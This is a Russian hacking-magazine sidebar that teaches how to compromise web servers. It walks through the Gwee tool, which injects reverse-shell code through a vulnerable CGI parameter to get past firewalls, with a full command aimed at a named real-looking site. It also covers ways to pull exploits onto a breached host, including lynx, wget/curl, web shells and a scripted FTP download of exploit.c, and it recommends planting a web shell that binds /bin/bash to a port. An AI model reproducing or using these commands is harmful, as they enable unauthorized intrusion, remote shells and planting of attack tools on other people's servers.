Университетский хак Александр Любимов aka Sashiks Хакер, номер #079, стр. 079-050-5 [Gwee] Gwee (Generic Web Exploitation Engine) — уникальная в своем роде программа, которая заливает реверсивный шелл-код на удаленный сервер, защищенный файрволом. Действительно удобный (и в некоторых случаях единственный) способ обхода брандмауэра. Ролик по использованию Gwee ты мог увидеть в «Хакере» №73, но все же я расскажу немного о нем. Во-первых, Gwee можно запускать как из-под Unix, так и из-под Windows. Основные флаги для использования Gwee: -y указываем часть уязвимой строки ДО параметра | -z часть строки ПОСЛЕ параметра | -L встроенный TCP-слушатель портов. Короче говоря, если указать этот флаг, не нужно будет включать неткат (nc -vv -l -p31337) -l адрес, к которому приконнектится реверсивный шелл-код. Остальные параметры ты можешь изучить сам — я описал самые основные, именно они 100% понадобятся тебе для работы. К слову, еще для работы программы можно явно указать желаемый шелл-код, вид заливки, метод запросов (GET, POST) и т.д. Если у тебя возникнет какой-то вопрос по параметрам Gwee, смело обращайся ко мне за советом. Иногда Gwee неправильно определяет локальный адрес или берет 127.0.0.1, поэтому его можно указать явно. Если же твой компьютер находится в локальной сети и обладает серым IP-адресом, из этой затеи ничего не выйдет, так как с тобой не сможет соединиться взломанный компьютер. На первый взгляд, параметры программы кажутся непонятными и запутанными, но я сейчас приведу пример, и все станет на свои места. Допустим, есть уязвимый сайт www.fbi.com/cgi-bin/script.pl?file=|id|¶m=1. Чтобы получить доступ к терминалу, запускаем Gwee следующим образом: ./gwee -y ' ?file= ' -z ' |¶m=1 ' -Lf -l наш_инет_адрес http://www.fbi.com/cgi-bin/script.pl Еще одно: если ты запускаешь Gwee из-под Windows, то нужно использовать (обязательно) вместо одинарных кавычек «'» двойные «"». [методы загрузки] Как видишь, есть множество методов загрузки информации на целевую машину. Приведу некоторые из них: 1) Браузеры lynx(links). Можно скачать любой файл браузером: lynx www.ru/file.c 2) Качалки. Известно множество качалок под *nix, и если на машине нет wget, можно попробовать fetch, curl и другие. 3) WEB-shell(php, cgi). У большинства веб-шеллов есть возможность загрузки файлов на сервер. 4) Ftp. Ftp немного уступает по удобству всем вышеперечисленным методам. Тем более, если у тебя нет доступа к интерпретатору, то слить файл вряд ли получится: общаться с ftp-сервером необходимо в интерактивном режиме. Чтобы обойти это неудобство, можно записать все команды в файл, а потом запустить ftp-клиент, перенаправив файл с командами ему. Пример: $echo 'user hacker pass' >ftp.txt $echo 'get exploit.c /tmp/exploit.c' >>ftp.txt $echo 'quit'>>/ftp.txt $ftp -n ftp_server.ru <ftp.txt 5) Самопальные сценарии. Их примеры я уже приводил. Это обычно скрипты на интерпретируемых языках (например на том же Perl). Если ты знаешь еще какие-нибудь интересные (и нестандартные) методы заливки файлов, пиши — мне будет очень интересно узнать! В первую очередь рекомендую заливать именно веб-шелл, так как кроме выполнения команд (например привязка /bin/bash к порту) можно свободно скачивать/закачивать на сервер файло, что не может не радовать :). |